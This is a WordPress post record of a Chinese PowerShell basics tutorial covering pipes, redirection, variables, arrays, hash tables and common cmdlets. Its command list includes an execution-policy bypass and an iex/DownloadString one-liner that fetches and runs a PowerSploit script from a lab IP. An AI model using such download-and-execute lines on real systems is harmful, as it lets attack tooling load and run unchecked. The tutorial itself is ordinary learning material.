{"id":1122,"date":"2022-03-30T14:49:08","date_gmt":"2022-03-30T06:49:08","guid":{"rendered":"https:\/\/b.yesiyu.top\/?p=1122"},"modified":"2022-03-30T14:49:08","modified_gmt":"2022-03-30T06:49:08","slug":"windows-powershell%e5%9f%ba%e7%a1%80","status":"publish","type":"post","link":"https:\/\/b.yesiyu.top\/?p=1122","title":{"rendered":"windows powershell\u57fa\u7840"},"content":{"rendered":"

windows powershell\u57fa\u7840<\/p>\n

\u76ee\u5f55:<\/p>\n

1.\u7ba1\u9053\u548c\u91cd\u5b9a\u5411<\/p>\n

2.\u547d\u4ee4\u6267\u884c<\/p>\n

3.\u53d8\u91cf<\/p>\n

4.\u6570\u7ec4\u548c\u54c8\u5e0c\u8868\u3000\u3000#@()\u521b\u5efa\u6570\u7ec4\uff0c\u4f7f\u7528”,”\u628a\u6bcf\u4e2a\u503c\u5206\u9694\u5f00,@{}\u521b\u5efa\u54c8\u5e0c\u8868\uff0c\u7528”;”\u628a\u6bcf\u4e2a\u503c\u5206\u9694\u5f00<\/p>\n

5.\u5e38\u7528\u547d\u4ee4<\/p>\n

get-help\u00a0 \u67e5\u770b\u5e2e\u52a9<\/p>\n

get-command \u67e5\u8be2\u547d\u4ee4<\/p>\n

get-member\u00a0 \u67e5\u770b\u5bf9\u8c61\u7684\u6210\u5458\u4fe1\u606f<\/p>\n

get-verb\u00a0 \u83b7\u53d6\u6240\u6709\u52a8\u8bcd<\/p>\n

get-content \u6216\u8005type\u00a0 \u67e5\u770b\u5185\u5bb9<\/p>\n

$psversiontable\u00a0 \u00a0\u67e5\u770bpowershell\u7248\u672c<\/p>\n

ls env:\u00a0 \u00a0 \u67e5\u770b\u6240\u6709\u73af\u5883\u53d8\u91cf<\/p>\n

ls alias:\u00a0 \u6216\u8005get-alias\u00a0 \u67e5\u770b\u6240\u6709\u7684\u522b\u540d<\/p>\n

get-executionpolicy\u00a0 \u67e5\u770b\u811a\u672c\u6267\u884c\u7b56\u7565<\/p>\n

set-executionpolicy bypass\u00a0 \u8bbe\u7f6e\u53ef\u4ee5\u6267\u884c\u811a\u672c<\/p>\n

. .\/test1.ps1\u00a0 \u00a0\u628atest1.ps1\u52a0\u8f7d\u5230\u5185\u5b58\u00a0 \u6ce8\u610f\u4e24\u4e2a\u70b9\u4e4b\u95f4\u6709\u4e00\u4e2a\u7a7a\u683c<\/p>\n

iex(New-Object Net.Webclient).DownloadString(‘http:\/\/10.10.10.132\/PowerSploit-master\/xx.ps1’)\u00a0 \u00a0 iex\u8fdc\u7a0b\u4e0b\u8f7d\u811a\u672c\u6267\u884c<\/p>\n

\u5728\u5b57\u7b26\u4e32\u524d\u9762\u52a0”&”\uff0c\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u6216\u8005\u542f\u52a8\u7a0b\u5e8f<\/p>\n

 <\/p>\n

Powershell \u662f\u8fd0\u884c\u5728windows\u673a\u5668\u4e0a\u5b9e\u73b0\u7cfb\u7edf\u548c\u5e94\u7528\u7a0b\u5e8f\u7ba1\u7406\u81ea\u52a8\u5316\u7684\u547d\u4ee4\u884c\u811a\u672c\u73af\u5883\u3002\u4f60\u53ef\u4ee5\u628a\u5b83\u770b\u6210\u662f\u547d\u4ee4\u884c\u63d0\u793a\u7b26cmd.exe\u7684\u6269\u5145<\/p>\n

powershell\u547d\u4ee4\u548c\u53c2\u6570\u4e0d\u533a\u5206\u5927\u5c0f\u5199<\/p>\n

1.1\u7ba1\u9053\u00a0 \u00a0#\u628a\u4e0a\u4e00\u6761\u547d\u4ee4\u7684\u8f93\u51fa\u4f5c\u4e3a\u4e0b\u4e00\u6761\u547d\u4ee4\u7684\u8f93\u5165<\/p>\n

\"1592114-20190224100202973-780730504\"<\/p>\n

\u6ce8:\u901a\u8fc7ls\u83b7\u53d6\u5f53\u524d\u76ee\u5f55\u7684\u6240\u6709\u6587\u4ef6\u4fe1\u606f,\u7136\u540e\u901a\u8fc7sort-object \u6392\u5e8f,\u9ed8\u8ba4\u5347\u5e8f<\/p>\n

1.2\u91cd\u5b9a\u5411\u00a0 #\u628a\u547d\u4ee4\u7684\u8f93\u51fa\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d\uff0c\u2018>\u2019\u4e3a\u8986\u76d6\uff0c\u2019>>\u2019\u8ffd\u52a0<\/p>\n

\"1592114-20190224100416277-406459217\"<\/p>\n

 <\/p>\n

\u6ce8:\u67e5\u770b\u5185\u5bb9\u53ef\u4ee5\u901a\u8fc7type\u6216\u8005get-content\u67e5\u770b<\/p>\n

2.Powershell \u67e5\u770b\u53ef\u4ee5\u6267\u884c\u7684cmd\u547d\u4ee4(cmd \/c help )<\/p>\n

\"1592114-20190224101111246-1144604340\"<\/p>\n

3.1\u53d8\u91cf<\/p>\n

\u5728powershell\u4e2d\u53d8\u91cf\u540d\u5747\u662f\u4ee5\u7f8e\u5143\u7b26\u201d$\u201d\u5f00\u59cb\uff0c\u5269\u4f59\u5b57\u7b26\u53ef\u4ee5\u662f\u6570\u5b57\u3001\u5b57\u6bcd\u3001\u4e0b\u5212\u7ebf\u7684\u4efb\u610f\u5b57\u7b26\uff0c\u5e76\u4e14powershell\u53d8\u91cf\u540d\u5927\u5c0f\u5199\u4e0d\u654f\u611f\uff08$a\u548c$A \u662f\u540c\u4e00\u4e2a\u53d8\u91cf)<\/p>\n

powershell\u4e00\u5207\u7686\u5bf9\u8c61,\u53d8\u91cf\u4e5f\u662f\u5bf9\u8c61,\u901a\u8fc7$str(\u53d8\u91cf\u540d) | get-member\u00a0 \u67e5\u770b\u53d8\u91cf\u6240\u62e5\u6709\u7684\u5c5e\u6027\u4ee5\u53ca\u65b9\u6cd5<\/span><\/h4>\n

\u3000\u3000\"1592114-20190224111734563-1400854072\"<\/span><\/p>\n

\u67e5\u770b\u6b63\u5728\u4f7f\u7528\u7684\u53d8\u91cf\u00a0\u00a0<\/span>ls variable:\u3000\"1592114-20190224103817483-1328390970\"<\/h4>\n

3.2\u73af\u5883\u53d8\u91cf<\/p>\n

Powershell\u628a\u6240\u6709\u73af\u5883\u53d8\u91cf\u7684\u8bb0\u5f55\u4fdd\u5b58\u5728env: \u865a\u62df\u9a71\u52a8\u4e2d\uff0c\u56e0\u6b64\u53ef\u4ee5\u5217\u51fa\u6240\u6709\u73af\u5883\u53d8\u91cf \u3002\u4e00\u65e6\u67e5\u51fa\u73af\u5883\u53d8\u91cf\u7684\u540d\u5b57\u5c31\u53ef\u4ee5\u4f7f\u7528$env:name \u8bbf\u95ee\u4e86\u3002<\/p>\n

\"1592114-20190224110154879-1213476240\"<\/p>\n

\u6ce8:\u901a\u8fc7\u67e5\u627e\u6240\u6709\u73af\u5883\u53d8\u91cf\u53ef\u4ee5\u5f97\u5230\u8ba1\u7b97\u673a\u540d\uff0c\u5f53\u524d\u6240\u5c5e\u57df\u7684\u57df\u540d\uff0c\u7528\u6237\u540d\u7b49\u7b49<\/p>\n

 <\/p>\n

\u901a\u8fc7$env:\u5c5e\u6027\u540d\u8bbf\u95ee\u3000\u3000\"1592114-20190224110356325-2053252285\"<\/p>\n

4.1\u6570\u7ec4<\/p>\n

1.\u547d\u4ee4\u8fd4\u56de\u6570\u7ec4\u00a0 \u00a0#\u5f53\u6211\u4eec\u628a\u4e00\u4e2a\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u4fdd\u5b58\u5230\u4e00\u4e2a\u53d8\u91cf\u4e2d\uff0c\u53ef\u80fd\u4f1a\u8ba4\u4e3a\u53d8\u91cf\u5b58\u653e\u7684\u662f\u7eaf\u6587\u672c\u3002
\n\u4f46\u662f\uff0c\u4e8b\u5b9e\u4e0aPowershell\u4f1a\u628a\u6587\u672c\u6309\u6bcf\u4e00\u884c\u4f5c\u4e3a\u5143\u7d20\u5b58\u4e3a\u6570\u7ec4<\/p>\n

\"1592114-20190224111403239-1496640320\"<\/p>\n

2.\u521b\u5efa\u6570\u7ec4:<\/p>\n

\u5728Powershell\u4e2d\u521b\u5efa\u6570\u7ec4\u53ef\u4ee5\u4f7f\u7528\u9017\u53f7,\u521b\u5efa\u7a7a\u6570\u7ec4\u4f7f\u7528@()<\/p>\n

\"1592114-20190224112552304-1607761547\"<\/p>\n

3.\u8bbf\u95ee\u3001\u6dfb\u52a0\u6570\u7ec4:\u00a0 #\u6dfb\u52a0\u6570\u7ec4\u4f7f\u7528”+=”<\/p>\n

\"1592114-20190224113026171-1693960105\"<\/p>\n

4.2\u54c8\u5e0c\u8868<\/p>\n

1.\u521b\u5efa\u54c8\u5e0c\u8868<\/p>\n

\u4e4b\u524d\u4f7f\u7528@()\u521b\u5efa\u6570\u7ec4\uff0c\u73b0\u5728\u4f7f\u7528@{}\u521b\u5efa\u54c8\u5e0c\u8868\uff0c\u7528”;”\u628a\u6bcf\u4e2a\u503c\u5206\u9694\u5f00\uff0c\u4f7f\u7528\u54c8\u5e0c\u8868\u7684\u952e\u8bbf\u95ee\u5bf9\u5e94\u7684\u503c<\/p>\n

\"1592114-20190224113748051-670594238\"<\/p>\n

2.\u4fee\u6539\u3001\u589e\u52a0\u3001\u5220\u9664\u54c8\u5e0c\u8868<\/p>\n

\"1592114-20190224114201980-1710338685\"<\/p>\n

 <\/p>\n

 <\/p>\n

 <\/p>\n","protected":false},"excerpt":{"rendered":"

windows powershell\u57fa\u7840 \u76ee\u5f55: 1.\u7ba1\u9053\u548c\u91cd\u5b9a\u5411 2.\u547d\u4ee4\u6267\u884c 3.\u53d8\u91cf 4.\u6570\u7ec4\u548c\u54c8\u5e0c\u8868\u3000 … <\/p>\n

\u7ee7\u7eed\u9605\u8bfb\u201cwindows powershell\u57fa\u7840\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1122","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=\/wp\/v2\/posts\/1122","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1122"}],"version-history":[{"count":1,"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=\/wp\/v2\/posts\/1122\/revisions"}],"predecessor-version":[{"id":1135,"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=\/wp\/v2\/posts\/1122\/revisions\/1135"}],"wp:attachment":[{"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/b.yesiyu.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}